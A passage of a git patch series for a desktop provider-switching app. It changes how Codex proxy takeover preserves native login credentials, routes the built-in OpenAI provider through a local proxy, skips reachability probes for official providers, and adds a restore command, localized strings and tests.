std::fs::read_to_string(crate::codex_config::get_codex_config_path()) + .expect("read restored official takeover config"); + assert!(crate::codex_config::codex_config_has_official_proxy_route( + &official_live + )); + assert!(!official_live.contains(PROXY_TOKEN_PLACEHOLDER)); + + service + .set_takeover_for_app("codex", false) + .await + .expect("disable takeover"); + assert_eq!(read_auth(), oauth_auth); + } + + #[test] + fn codex_takeover_backup_preserves_api_key_login_material() { + let mut target = json!({ "auth": {}, "config": "" }); + let existing = json!({ + "auth": { "OPENAI_API_KEY": "sk-real" }, + "config": "model = \"gpt-5.4\"\n" + }); + + ProxyService::preserve_codex_auth_in_backup(&mut target, &existing, true) + .expect("preserve API-key auth"); + assert_eq!(target["auth"]["OPENAI_API_KEY"], "sk-real"); + } + + #[tokio::test] + #[serial] + async fn codex_backup_rebuild_uses_live_auth_when_backup_is_missing() { + let _home = TempHome::new(); + crate::settings::reload_settings().expect("reload settings"); + let db = Arc::new(Database::memory().expect("init db")); + let service = ProxyService::new(db.clone()); + crate::codex_config::write_codex_live_atomic( + &json!({ "OPENAI_API_KEY": "sk-real" }), + Some("model = \"gpt-5.4\"\n"), + ) + .expect("seed live auth"); + let mut official = Provider::with_id( + crate::database::CODEX_OFFICIAL_PROVIDER_ID.to_string(), + "OpenAI Official".to_string(), + json!({ "auth": {}, "config": "" }), + None, + ); + official.category = Some("official".to_string()); + + service + .update_live_backup_from_provider_inner("codex", &official) + .await + .expect("rebuild backup"); + let backup = db + .get_live_backup("codex") + .await + .expect("read backup") + .expect("backup exists"); + let value: Value = serde_json::from_str(&backup.original_config).expect("parse backup"); + assert_eq!(value["auth"]["OPENAI_API_KEY"], "sk-real"); + } + + #[test] + #[serial] + fn codex_empty_restore_snapshot_does_not_delete_existing_auth_json() { + let _home = TempHome::new(); + crate::settings::reload_settings().expect("reload settings"); + let db = Arc::new(Database::memory().expect("init db")); + let service = ProxyService::new(db); + let auth = json!({ "OPENAI_API_KEY": "sk-real" }); + crate::codex_config::write_codex_live_atomic(&auth, Some("model = \"gpt-5.4\"\n")) + .expect("seed auth"); + + service + .write_codex_live_verbatim(&json!({ + "auth": {}, + "config": "model = \"gpt-5.4-mini\"\n" + })) + .expect("restore empty snapshot"); + + let live_auth: Value = + crate::config::read_json_file(&crate::codex_config::get_codex_auth_path()) + .expect("read auth"); + assert_eq!(live_auth, auth); + } + + #[tokio::test] + #[serial] + async fn codex_sync_live_does_not_store_credentials_in_builtin_official_row() { + let _home = TempHome::new(); + crate::settings::reload_settings().expect("reload settings"); + let db = Arc::new(Database::memory().expect("init db")); + let service = ProxyService::new(db.clone()); + let mut official = Provider::with_id( + crate::database::CODEX_OFFICIAL_PROVIDER_ID.to_string(), + "OpenAI Official".to_string(), + json!({ "auth": {}, "config": "" }), + None, + ); + official.category = Some("official".to_string()); + db.save_provider("codex", &official).expect("save official"); + db.set_current_provider("codex", crate::database::CODEX_OFFICIAL_PROVIDER_ID) + .expect("set current"); + crate::settings::set_current_provider( + &AppType::Codex, + Some(crate::database::CODEX_OFFICIAL_PROVIDER_ID), + ) + .expect("set local current"); + crate::codex_config::write_codex_live_atomic( + &json!({ "OPENAI_API_KEY": "sk-real" }), + Some("model = \"gpt-5.4\"\n"), + ) + .expect("seed live auth"); + + service + .sync_live_to_provider(&AppType::Codex) + .await + .expect("sync live"); + + let stored = db + .get_provider_by_id(crate::database::CODEX_OFFICIAL_PROVIDER_ID, "codex") + .expect("read official") + .expect("official exists"); + assert_eq!(stored.settings_config["auth"], json!({})); + } + #[tokio::test] #[serial] async fn codex_set_takeover_for_app_preserves_oauth_auth_json_when_preserve_enabled() { @@ -4036,7 +4277,7 @@ wire_api = "responses" #[tokio::test] #[serial] - async fn codex_takeover_preserve_disabled_uses_legacy_auth_write_path() { + async fn codex_takeover_preserves_native_auth_even_when_legacy_toggle_is_disabled() { let _home = TempHome::new(); crate::settings::reload_settings().expect("reload settings"); crate::settings::update_settings(crate::settings::AppSettings { @@ -4100,26 +4341,15 @@ wire_api = "responses" crate::config::read_json_file(&crate::codex_config::get_codex_auth_path()) .expect("read live auth"); assert_eq!( - live_auth - .get("OPENAI_API_KEY") - .and_then(|value| value.as_str()), - Some(PROXY_TOKEN_PLACEHOLDER), - "disabled preservation should keep the legacy auth.json takeover placeholder" - ); - assert_eq!( - live_auth - .get("tokens") - .and_then(|tokens| tokens.get("access_token")) - .and_then(|value| value.as_str()), - Some("oauth-access"), - "the new config-only takeover branch must not run when preservation is disabled" + live_auth, oauth_auth, + "takeover must preserve native OAuth independently of the legacy toggle" ); let live_config = std::fs::read_to_string(crate::codex_config::get_codex_config_path()) .expect("read live config"); assert!( - !live_config.contains(PROXY_TOKEN_PLACEHOLDER), - "disabled preservation should not move the takeover placeholder into config.toml" + live_config.contains(PROXY_TOKEN_PLACEHOLDER), + "third-party takeover should carry its local placeholder in config.toml" ); crate::settings::update_settings(crate::settings::AppSettings::default()) @@ -4291,7 +4521,8 @@ requires_openai_auth = true "#; let new_url = "http://127.0.0.1:5000/v1"; - let output = ProxyService::update_toml_base_url(input, new_url); + let output = crate::codex_config::update_codex_toml_field(input, "base_url", new_url) + .expect("update base_url"); let parsed: toml::Value = toml::from_str(&output).expect("updated config should be valid TOML"); @@ -4332,7 +4563,8 @@ wire_api = "chat" let proxy_url = "http://127.0.0.1:5000/v1"; let output = - ProxyService::apply_codex_proxy_toml_config_for_provider(input, proxy_url, None); + ProxyService::apply_codex_proxy_toml_config_for_provider(input, proxy_url, None) + .expect("apply proxy config"); let parsed: toml::Value = toml::from_str(&output).expect("updated config should be valid TOML"); @@ -4351,6 +4583,51 @@ wire_api = "chat" ); } + #[test] + fn apply_codex_proxy_toml_config_routes_builtin_official_with_native_auth() { + let mut provider = Provider::with_id( + "codex-official".to_string(), + "OpenAI Official".to_string(), + json!({ "auth": {}, "config": "" }), + None, + ); + provider.category = Some("official".to_string()); + let proxy_url = "http://127.0.0.1:5000/v1"; + + let output = ProxyService::apply_codex_proxy_toml_config_for_provider( + "experimental_bearer_token = \"PROXY_MANAGED\"\n", + proxy_url, + Some(&provider), + ) + .expect("apply official proxy config"); + let parsed: toml::Value = toml::from_str(&output).expect("valid official route"); + let route_id = crate::codex_config::CC_SWITCH_CODEX_OFFICIAL_PROXY_PROVIDER_ID; + let route = &parsed["model_providers"][route_id]; + + assert_eq!(parsed["model_provider"].as_str(), Some(route_id)); + assert_eq!(route["base_url"].as_str(), Some(proxy_url)); + assert_eq!(route["requires_openai_auth"].as_bool(), Some(true)); + assert!(parsed.get("experimental_bearer_token").is_none()); + } + + #[test] + fn apply_codex_proxy_toml_config_fails_closed_for_invalid_official_config() { + let mut provider = Provider::with_id( + crate::database::CODEX_OFFICIAL_PROVIDER_ID.to_string(), + "OpenAI Official".to_string(), + json!({ "auth": {}, "config": "" }), + None, + ); + provider.category = Some("official".to_string()); + + let result = ProxyService::apply_codex_proxy_toml_config_for_provider( + "model_providers = 3\n", + "http://127.0.0.1:5000/v1", + Some(&provider), + ); + assert!(result.is_err()); + } + #[test] fn apply_codex_proxy_toml_config_keeps_upstream_model_for_chat_provider() { let input = r#" @@ -4380,7 +4657,8 @@ wire_api = "responses" input, proxy_url, Some(&provider), - ); + ) + .expect("apply chat proxy config"); let parsed: toml::Value = toml::from_str(&output).expect("updated config should be valid TOML"); @@ -4426,7 +4704,8 @@ wire_api = "responses" input, "http://127.0.0.1:5000/v1", Some(&provider), - ); + ) + .expect("apply responses proxy config"); let parsed: toml::Value = toml::from_str(&output).expect("updated config should be valid TOML"); @@ -4471,7 +4750,8 @@ wire_api = "responses" input, "http://127.0.0.1:5000/v1", Some(&provider), - ); + ) + .expect("restore responses model"); let parsed: toml::Value = toml::from_str(&output).expect("updated config should be valid TOML"); @@ -4488,7 +4768,8 @@ model = "gpt-5.1-codex" "#; let new_url = "http://127.0.0.1:5000/v1"; - let output = ProxyService::update_toml_base_url(input, new_url); + let output = crate::codex_config::update_codex_toml_field(input, "base_url", new_url) + .expect("update top-level base_url"); let parsed: toml::Value = toml::from_str(&output).expect("updated config should be valid TOML"); diff --git a/src-tauri/src/tray.rs b/src-tauri/src/tray.rs index da11fa289..95efbb87f 100644 --- a/src-tauri/src/tray.rs +++ b/src-tauri/src/tray.rs @@ -673,8 +673,12 @@ pub fn create_tray_menu( for (id, provider) in sort_providers(&providers) { let is_current = current_id == *id; - let is_official_blocked = - is_app_taken_over && provider.category.as_deref() == Some("official"); + let is_official_blocked = is_app_taken_over + && provider.category.as_deref() == Some("official") + && !crate::services::provider::official_provider_supports_proxy_takeover( + §ion.app_type, + provider, + ); let label = if is_official_blocked { format!("{} \u{26D4}", &provider.name) // ⛔ emoji } else { From f2c6d48e1970cf8ad96061910e680ad3321a029e Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 17:52:03 +0800 Subject: [PATCH 60/73] fix(providers): skip reachability probes for official OAuth entries Do not derive unauthenticated health-check targets from runtime adapter defaults for official providers. Batch checks now skip official entries, and direct base-URL resolution fails explicitly instead of probing first-party endpoints without credentials. Cover the Codex official provider in the stream-check regression tests so future adapter changes cannot silently reintroduce these probes. --- src-tauri/src/commands/stream_check.rs | 6 ++++++ src-tauri/src/services/stream_check.rs | 11 +++++++++++ 2 files changed, 17 insertions(+) diff --git a/src-tauri/src/commands/stream_check.rs b/src-tauri/src/commands/stream_check.rs index 71759ce01..e9a2a083a 100644 --- a/src-tauri/src/commands/stream_check.rs +++ b/src-tauri/src/commands/stream_check.rs @@ -72,6 +72,12 @@ pub async fn stream_check_all_providers( let mut results = Vec::new(); for (id, provider) in providers { + // Official OAuth providers intentionally have no user-configured probe + // target. Never turn their runtime adapter defaults into unauthenticated + // network probes against first-party endpoints. + if provider.category.as_deref() == Some("official") { + continue; + } if let Some(ids) = &allowed_ids { if !ids.contains(&id) { continue; diff --git a/src-tauri/src/services/stream_check.rs b/src-tauri/src/services/stream_check.rs index 8bf99519f..5db28335b 100644 --- a/src-tauri/src/services/stream_check.rs +++ b/src-tauri/src/services/stream_check.rs @@ -166,6 +166,12 @@ impl StreamCheckService { /// 没有 cc-switch 能可靠探测的目标——这类供应商的连通检测按钮在前端已隐藏 /// (见 `ProviderCard.tsx`),故此处对其提取失败直接报错即可,不做官方端点回退。 fn resolve_base_url(app_type: &AppType, provider: &Provider) -> Result { + if provider.category.as_deref() == Some("official") { + return Err(AppError::Message( + "Official providers do not expose a reachability-check target".to_string(), + )); + } + match app_type { // 累加模式应用的 settings_config 结构与 Claude/Codex/Gemini 不同, // 不走 adapter,直接按各自约定提取 base_url。 @@ -510,5 +516,10 @@ mod tests { // 不会走到这里;不做官方端点回退(避免给忘填地址的第三方误显绿灯)。 let empty = make_provider(serde_json::json!({ "env": {} })); assert!(StreamCheckService::resolve_base_url(&AppType::Claude, &empty).is_err()); + + let mut official = make_provider(serde_json::json!({ "auth": {}, "config": "" })); + official.id = crate::database::CODEX_OFFICIAL_PROVIDER_ID.to_string(); + official.category = Some("official".to_string()); + assert!(StreamCheckService::resolve_base_url(&AppType::Codex, &official).is_err()); } } From f15184edb0cb7fa1e07c010fad528c82df25b19a Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 17:52:12 +0800 Subject: [PATCH 61/73] feat(codex): expose official routing and restore the built-in provider Let users switch between the built-in OpenAI provider and third-party Codex providers directly from the provider panel while takeover mode remains active. Centralize the frontend capability predicate so only the fixed codex-official seed receives native-login routing support, and keep copied UUID-based official entries clearly marked as unsupported. Add an idempotent backend command that recreates the deleted official seed, wire it into the add-provider flow, refresh localized guidance, and add mutation and provider-action regression coverage. --- src-tauri/src/commands/provider.rs | 8 +++ src-tauri/src/database/dao/providers.rs | 23 ++++++- src-tauri/src/lib.rs | 1 + .../providers/AddProviderDialog.tsx | 10 ++++ src/components/providers/ProviderCard.tsx | 33 ++++++++-- src/hooks/useProviderActions.ts | 15 ++++- src/i18n/locales/en.json | 8 ++- src/i18n/locales/ja.json | 8 ++- src/i18n/locales/zh-TW.json | 8 ++- src/i18n/locales/zh.json | 8 ++- src/lib/api/providers.ts | 4 ++ src/lib/query/mutations.ts | 13 ++++ src/utils/providerCapabilities.ts | 16 +++++ tests/hooks/useAddProviderMutation.test.tsx | 34 +++++++++++ tests/hooks/useProviderActions.test.tsx | 60 +++++++++++++++++++ 15 files changed, 228 insertions(+), 21 deletions(-) create mode 100644 src/utils/providerCapabilities.ts diff --git a/src-tauri/src/commands/provider.rs b/src-tauri/src/commands/provider.rs index fa6952e4c..6cbee9d2b 100644 --- a/src-tauri/src/commands/provider.rs +++ b/src-tauri/src/commands/provider.rs @@ -231,6 +231,14 @@ pub fn ensure_claude_desktop_official_provider(state: State<'_, AppState>) -> Re .map_err(|e| e.to_string()) } +#[tauri::command] +pub fn ensure_codex_official_provider(state: State<'_, AppState>) -> Result { + state + .db + .ensure_official_seed_by_id(crate::database::CODEX_OFFICIAL_PROVIDER_ID, AppType::Codex) + .map_err(|e| e.to_string()) +} + fn claude_provider_models_are_claude_safe(provider: &Provider) -> bool { let Some(env) = provider .settings_config diff --git a/src-tauri/src/database/dao/providers.rs b/src-tauri/src/database/dao/providers.rs index b86611348..1d8ab4d10 100644 --- a/src-tauri/src/database/dao/providers.rs +++ b/src-tauri/src/database/dao/providers.rs @@ -710,7 +710,9 @@ impl Database { #[cfg(test)] mod ensure_official_seed_tests { use crate::app_config::AppType; - use crate::database::{Database, CLAUDE_DESKTOP_OFFICIAL_PROVIDER_ID}; + use crate::database::{ + Database, CLAUDE_DESKTOP_OFFICIAL_PROVIDER_ID, CODEX_OFFICIAL_PROVIDER_ID, + }; #[test] fn ensure_inserts_when_missing() { @@ -769,6 +771,25 @@ mod ensure_official_seed_tests { ); } + #[test] + fn ensure_recreates_codex_official_seed_after_deletion() { + let db = Database::memory().expect("memory db"); + db.init_default_official_providers().expect("seed"); + db.delete_provider(AppType::Codex.as_str(), CODEX_OFFICIAL_PROVIDER_ID) + .expect("delete Codex official"); + + let inserted = db + .ensure_official_seed_by_id(CODEX_OFFICIAL_PROVIDER_ID, AppType::Codex) + .expect("ensure Codex official"); + assert!(inserted); + let provider = db + .get_provider_by_id(CODEX_OFFICIAL_PROVIDER_ID, AppType::Codex.as_str()) + .expect("query") + .expect("Codex official restored"); + assert_eq!(provider.category.as_deref(), Some("official")); + assert_eq!(provider.settings_config["auth"], serde_json::json!({})); + } + #[test] fn ensure_rejects_unknown_seed() { let db = Database::memory().expect("memory db"); diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rs index 870d0b771..86a78b234 100644 --- a/src-tauri/src/lib.rs +++ b/src-tauri/src/lib.rs @@ -1199,6 +1199,7 @@ pub fn run() { commands::get_claude_desktop_default_routes, commands::import_claude_desktop_providers_from_claude, commands::ensure_claude_desktop_official_provider, + commands::ensure_codex_official_provider, commands::get_claude_config_status, commands::get_config_status, commands::get_claude_code_config_path, diff --git a/src/components/providers/AddProviderDialog.tsx b/src/components/providers/AddProviderDialog.tsx index 179f71cd2..11ba54412 100644 --- a/src/components/providers/AddProviderDialog.tsx +++ b/src/components/providers/AddProviderDialog.tsx @@ -31,6 +31,7 @@ interface AddProviderDialogProps { providerKey?: string; suggestedDefaults?: OpenClawSuggestedDefaults; ensureClaudeDesktopOfficialSeed?: boolean; + ensureCodexOfficialSeed?: boolean; }, ) => Promise | void; } @@ -116,6 +117,7 @@ export function AddProviderDialog({ providerKey?: string; suggestedDefaults?: OpenClawSuggestedDefaults; ensureClaudeDesktopOfficialSeed?: boolean; + ensureCodexOfficialSeed?: boolean; } = { name: values.name.trim(), notes: values.notes?.trim() || undefined, @@ -137,6 +139,14 @@ export function AddProviderDialog({ preset?.category === "official"; } + if (appId === "codex" && values.presetId) { + const presetIndex = parseInt(values.presetId.replace("codex-", "")); + const preset = codexProviderPresets[presetIndex]; + providerData.ensureCodexOfficialSeed = + values.presetCategory === "official" && + preset?.category === "official"; + } + // OpenCode/OpenClaw: pass providerKey for ID generation if ( (appId === "opencode" || appId === "openclaw" || appId === "hermes") && diff --git a/src/components/providers/ProviderCard.tsx b/src/components/providers/ProviderCard.tsx index 48a82a282..2c7800478 100644 --- a/src/components/providers/ProviderCard.tsx +++ b/src/components/providers/ProviderCard.tsx @@ -25,6 +25,7 @@ import { isCodexAnthropicWireApi, isCodexChatWireApi, } from "@/utils/providerConfigUtils"; +import { supportsOfficialProxyTakeover } from "@/utils/providerCapabilities"; import { useProviderHealth } from "@/lib/query/failover"; import { useUsageQuery } from "@/lib/query/queries"; @@ -208,8 +209,14 @@ export function ProviderCard({ // 并不兑现(绕过 UI 即可切换)→ 属虚保护,却以误伤 category 缺失的自定义供应商为代价。 // 3) 预设导入的官方一定带 category="official",category 缺失的「真官方」现实中≈不存在。 // 真官方就该有显式 category;手动新建官方应引导标注,而不是靠空字段猜。 + const supportsOfficialRouting = supportsOfficialProxyTakeover( + appId, + provider, + ); const isOfficialBlockedByProxy = - isProxyTakeover && provider.category === "official"; + isProxyTakeover && + provider.category === "official" && + !supportsOfficialRouting; const isCopilot = provider.meta?.providerType === PROVIDER_TYPES.GITHUB_COPILOT || provider.meta?.usage_script?.templateType === "github_copilot"; @@ -405,14 +412,28 @@ export function ProviderCard({ )} - {appId === "codex" && provider.category === "official" && ( - - {t("codex.noRoutingSupport", { - defaultValue: "不支持路由", - })} + {appId === "codex" && supportsOfficialRouting && ( + + {isProxyTakeover + ? t("codex.officialRouting", { + defaultValue: "官方账号路由", + }) + : t("codex.nativeLogin", { + defaultValue: "Codex 登录", + })} )} + {appId === "codex" && + provider.category === "official" && + !supportsOfficialRouting && ( + + {t("codex.noRoutingSupport", { + defaultValue: "不支持路由", + })} + + )} + {isProxyRunning && isInFailoverQueue && health && ( { const enhanced = injectCodingPlanUsageScript(activeApp, provider); @@ -236,8 +238,17 @@ export function useProviderActions( ); } - // Block official providers when proxy takeover is active - if (isProxyTakeover && provider.category === "official") { + // The built-in Codex official provider can reuse Codex's native ChatGPT + // login through local routing. Other official providers remain blocked. + const officialSupportsTakeover = supportsOfficialProxyTakeover( + activeApp, + provider, + ); + if ( + isProxyTakeover && + provider.category === "official" && + !officialSupportsTakeover + ) { toast.error( t("notifications.officialBlockedByProxy", { defaultValue: diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 316291d40..47ed23a76 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -181,7 +181,9 @@ }, "codex": { "needsRouting": "Needs Routing", - "noRoutingSupport": "No Routing Support" + "noRoutingSupport": "No Routing Support", + "officialRouting": "Official Account Routing", + "nativeLogin": "Codex Sign-in" }, "claudeDesktop": { "officialNotice": "Claude Desktop official providers use the built-in 1P sign-in. No API key or endpoint URL is required.", @@ -678,8 +680,8 @@ "skipClaudeOnboarding": "Skip Claude Code first-run confirmation", "skipClaudeOnboardingDescription": "When enabled, Claude Code will skip the first-run confirmation", "codexAuth": "Codex App Enhancements", - "preserveCodexOfficialAuthOnSwitch": "Keep official login when switching third-party providers", - "preserveCodexOfficialAuthOnSwitchDescription": "When enabled, you can use the Codex app's official plugins, mobile remote control, and other features while using third-party APIs.", + "preserveCodexOfficialAuthOnSwitch": "Keep official login for direct switches", + "preserveCodexOfficialAuthOnSwitchDescription": "Controls third-party switches when local routing is off. Takeover routing always preserves the Codex official login.", "unifyCodexSessionHistory": "Unified Codex session history", "unifyCodexSessionHistoryDescription": "When enabled, the official subscription runs under the shared \"custom\" provider id so official and third-party sessions appear in one history list, optionally migrating existing official sessions in (backed up first). When turning it off, the migrated sessions can be restored from backup. Note: resuming an old session across providers may fail because its encrypted_content reasoning can only be decrypted by the backend that created it.", "unifyCodexHistoryRestoreCompleted": "Official session history restored from backup ({{files}} session files, {{rows}} index rows)", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index f639b7bf9..eec5d2f27 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -181,7 +181,9 @@ }, "codex": { "needsRouting": "ルーティングが必要", - "noRoutingSupport": "ルーティング非対応" + "noRoutingSupport": "ルーティング非対応", + "officialRouting": "公式アカウントルーティング", + "nativeLogin": "Codex ログイン" }, "claudeDesktop": { "officialNotice": "Claude Desktop の公式プロバイダーは内蔵の 1P サインインを使用します。API キーやエンドポイントの設定は不要です。", @@ -678,8 +680,8 @@ "skipClaudeOnboarding": "Claude Code の初回確認をスキップ", "skipClaudeOnboardingDescription": "オンにすると Claude Code の初回インストール確認をスキップします", "codexAuth": "Codex アプリ拡張", - "preserveCodexOfficialAuthOnSwitch": "サードパーティ切替時に公式ログインを保持", - "preserveCodexOfficialAuthOnSwitchDescription": "オンにすると、サードパーティ API を使用する際に Codex アプリの公式プラグインやスマホからのリモート操作などの機能を利用できます。", + "preserveCodexOfficialAuthOnSwitch": "直接切替時に公式ログインを保持", + "preserveCodexOfficialAuthOnSwitchDescription": "ローカルルーティングが無効な場合のサードパーティ切替を制御します。ルーティング接管中は常に Codex の公式ログインを保持します。", "unifyCodexSessionHistory": "Codex セッション履歴を統一", "unifyCodexSessionHistoryDescription": "オンにすると、公式サブスクリプションも共有の custom プロバイダー ID で動作し、公式とサードパーティのセッションが同じ履歴リストに表示されます。既存の公式セッションの移行も選択できます(移行前に自動バックアップ)。オフにする際はバックアップから復元できます。注意:プロバイダーをまたいで古いセッションを再開すると、encrypted_content の推論内容を相手のバックエンドが復号できず、再開に失敗する場合があります。", "unifyCodexHistoryRestoreCompleted": "バックアップから公式セッション履歴を復元しました(セッションファイル {{files}} 件、インデックス {{rows}} 行)", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 2d0a19d4d..cd9a962ab 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -181,7 +181,9 @@ }, "codex": { "needsRouting": "需要路由", - "noRoutingSupport": "不支援路由" + "noRoutingSupport": "不支援路由", + "officialRouting": "官方帳號路由", + "nativeLogin": "Codex 登入" }, "claudeDesktop": { "officialNotice": "Claude Desktop 官方供應商使用應用程式內建的 1P 登入,無需設定 API Key 和 API 位址。", @@ -678,8 +680,8 @@ "skipClaudeOnboarding": "跳過 Claude Code 初次安裝確認", "skipClaudeOnboardingDescription": "開啟後跳過 Claude Code 初次安裝確認", "codexAuth": "Codex 應用增強", - "preserveCodexOfficialAuthOnSwitch": "切換第三方時保留官方登入", - "preserveCodexOfficialAuthOnSwitchDescription": "開啟後可以在使用第三方 API 的時候使用 Codex 應用的官方外掛、手機遠端操作等功能", + "preserveCodexOfficialAuthOnSwitch": "非接管切換時保留官方登入", + "preserveCodexOfficialAuthOnSwitchDescription": "控制未開啟本機路由時切換第三方供應商是否保留 Codex 官方登入;路由接管期間一律保留", "unifyCodexSessionHistory": "統一 Codex 會話歷史", "unifyCodexSessionHistoryDescription": "開啟後,官方訂閱將以共享的 custom 供應商標識執行,官方與第三方會話出現在同一歷史清單中,並可選擇把現有官方會話一併遷入(遷移前自動備份)。關閉開關時可按備份恢復遷入的會話。注意:跨供應商繼續舊會話時,對方後端可能無法解密會話中的 encrypted_content 推理內容,導致繼續失敗", "unifyCodexHistoryRestoreCompleted": "已按備份還原官方會話歷史({{files}} 個會話檔案、{{rows}} 條索引記錄)", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 427b7dc7a..5feb77c71 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -181,7 +181,9 @@ }, "codex": { "needsRouting": "需要路由", - "noRoutingSupport": "不支持路由" + "noRoutingSupport": "不支持路由", + "officialRouting": "官方账号路由", + "nativeLogin": "Codex 登录" }, "claudeDesktop": { "officialNotice": "Claude Desktop 官方供应商使用应用内置的 1P 登录,无需配置 API Key 和接口地址。", @@ -678,8 +680,8 @@ "skipClaudeOnboarding": "跳过 Claude Code 初次安装确认", "skipClaudeOnboardingDescription": "开启后跳过 Claude Code 初次安装确认", "codexAuth": "Codex 应用增强", - "preserveCodexOfficialAuthOnSwitch": "切换第三方时保留官方登录", - "preserveCodexOfficialAuthOnSwitchDescription": "开启后可以在使用第三方 API 的时候使用 Codex 应用的官方插件、手机远程操作等功能", + "preserveCodexOfficialAuthOnSwitch": "非接管切换时保留官方登录", + "preserveCodexOfficialAuthOnSwitchDescription": "控制未开启路由接管时切换第三方供应商是否保留 Codex 官方登录;路由接管期间始终保留", "unifyCodexSessionHistory": "统一 Codex 会话历史", "unifyCodexSessionHistoryDescription": "开启后,官方订阅将以共享的 custom 供应商标识运行,官方与第三方会话出现在同一历史列表中,并可选择把现有官方会话一并迁入(迁移前自动备份)。关闭开关时可按备份恢复迁入的会话。注意:跨供应商继续旧会话时,对方后端可能无法解密会话中的 encrypted_content 推理内容,导致继续失败", "unifyCodexHistoryRestoreCompleted": "已按备份还原官方会话历史({{files}} 个会话文件、{{rows}} 条索引记录)", diff --git a/src/lib/api/providers.ts b/src/lib/api/providers.ts index cbdb6a55e..d7bcc1270 100644 --- a/src/lib/api/providers.ts +++ b/src/lib/api/providers.ts @@ -103,6 +103,10 @@ export const providersApi = { return await invoke("ensure_claude_desktop_official_provider"); }, + async ensureCodexOfficialProvider(): Promise { + return await invoke("ensure_codex_official_provider"); + }, + async getClaudeDesktopStatus(): Promise { return await invoke("get_claude_desktop_status"); }, diff --git a/src/lib/query/mutations.ts b/src/lib/query/mutations.ts index 8ccd5f7fc..1e4e6e32d 100644 --- a/src/lib/query/mutations.ts +++ b/src/lib/query/mutations.ts @@ -10,6 +10,7 @@ import { generateUUID } from "@/utils/uuid"; import { openclawKeys } from "@/hooks/useOpenClaw"; import { invalidateHermesProviderCaches } from "@/hooks/useHermes"; import { usageKeys } from "@/lib/query/usage"; +import { CODEX_OFFICIAL_PROVIDER_ID } from "@/utils/providerCapabilities"; export const useAddProviderMutation = (appId: AppId) => { const queryClient = useQueryClient(); @@ -21,12 +22,14 @@ export const useAddProviderMutation = (appId: AppId) => { providerKey?: string; addToLive?: boolean; ensureClaudeDesktopOfficialSeed?: boolean; + ensureCodexOfficialSeed?: boolean; }, ) => { const { providerKey: _providerKey, addToLive, ensureClaudeDesktopOfficialSeed, + ensureCodexOfficialSeed, ...rest } = providerInput; @@ -40,6 +43,16 @@ export const useAddProviderMutation = (appId: AppId) => { return officialProvider; } + if (appId === "codex" && ensureCodexOfficialSeed) { + await providersApi.ensureCodexOfficialProvider(); + const providers = await providersApi.getAll(appId); + const officialProvider = providers[CODEX_OFFICIAL_PROVIDER_ID]; + if (!officialProvider) { + throw new Error("Codex official provider was not created"); + } + return officialProvider; + } + let id: string; if (appId === "opencode" || appId === "openclaw" || appId === "hermes") { diff --git a/src/utils/providerCapabilities.ts b/src/utils/providerCapabilities.ts new file mode 100644 index 000000000..6e86176e8 --- /dev/null +++ b/src/utils/providerCapabilities.ts @@ -0,0 +1,16 @@ +import type { AppId } from "@/lib/api"; +import type { Provider } from "@/types"; + +export const CODEX_OFFICIAL_PROVIDER_ID = "codex-official"; + +/** Keep the UI capability rule aligned with the Rust takeover policy. */ +export function supportsOfficialProxyTakeover( + appId: AppId, + provider: Pick, +): boolean { + return ( + appId === "codex" && + provider.id === CODEX_OFFICIAL_PROVIDER_ID && + provider.category === "official" + ); +} diff --git a/tests/hooks/useAddProviderMutation.test.tsx b/tests/hooks/useAddProviderMutation.test.tsx index b581383b1..5e8300d22 100644 --- a/tests/hooks/useAddProviderMutation.test.tsx +++ b/tests/hooks/useAddProviderMutation.test.tsx @@ -8,6 +8,7 @@ import type { Provider } from "@/types"; const apiMocks = vi.hoisted(() => ({ add: vi.fn(), ensureClaudeDesktopOfficialProvider: vi.fn(), + ensureCodexOfficialProvider: vi.fn(), getAll: vi.fn(), updateTrayMenu: vi.fn(), })); @@ -21,6 +22,8 @@ vi.mock("@/lib/api", () => ({ add: (...args: unknown[]) => apiMocks.add(...args), ensureClaudeDesktopOfficialProvider: (...args: unknown[]) => apiMocks.ensureClaudeDesktopOfficialProvider(...args), + ensureCodexOfficialProvider: (...args: unknown[]) => + apiMocks.ensureCodexOfficialProvider(...args), getAll: (...args: unknown[]) => apiMocks.getAll(...args), updateTrayMenu: (...args: unknown[]) => apiMocks.updateTrayMenu(...args), }, @@ -59,6 +62,7 @@ beforeEach(() => { apiMocks.ensureClaudeDesktopOfficialProvider .mockReset() .mockResolvedValue(true); + apiMocks.ensureCodexOfficialProvider.mockReset().mockResolvedValue(true); apiMocks.getAll.mockReset().mockResolvedValue({}); apiMocks.updateTrayMenu.mockReset().mockResolvedValue(true); uuidMocks.generateUUID.mockReset().mockReturnValue("generated-uuid"); @@ -133,4 +137,34 @@ describe("useAddProviderMutation", () => { expect(apiMocks.add).not.toHaveBeenCalled(); expect(persistedProvider).toEqual(seedProvider); }); + + it("recreates and returns the fixed Codex official seed", async () => { + const seedProvider: Provider = { + id: "codex-official", + name: "OpenAI Official", + settingsConfig: { auth: {}, config: "" }, + category: "official", + }; + apiMocks.getAll.mockResolvedValueOnce({ + "codex-official": seedProvider, + }); + const { wrapper } = createWrapper(); + const { result } = renderHook(() => useAddProviderMutation("codex"), { + wrapper, + }); + + const persistedProvider = await act(async () => + result.current.mutateAsync({ + name: "OpenAI Official", + settingsConfig: { auth: {}, config: "" }, + category: "official", + ensureCodexOfficialSeed: true, + }), + ); + + expect(apiMocks.ensureCodexOfficialProvider).toHaveBeenCalledTimes(1); + expect(apiMocks.getAll).toHaveBeenCalledWith("codex"); + expect(apiMocks.add).not.toHaveBeenCalled(); + expect(persistedProvider).toEqual(seedProvider); + }); }); diff --git a/tests/hooks/useProviderActions.test.tsx b/tests/hooks/useProviderActions.test.tsx index ab0558a56..8bcdac674 100644 --- a/tests/hooks/useProviderActions.test.tsx +++ b/tests/hooks/useProviderActions.test.tsx 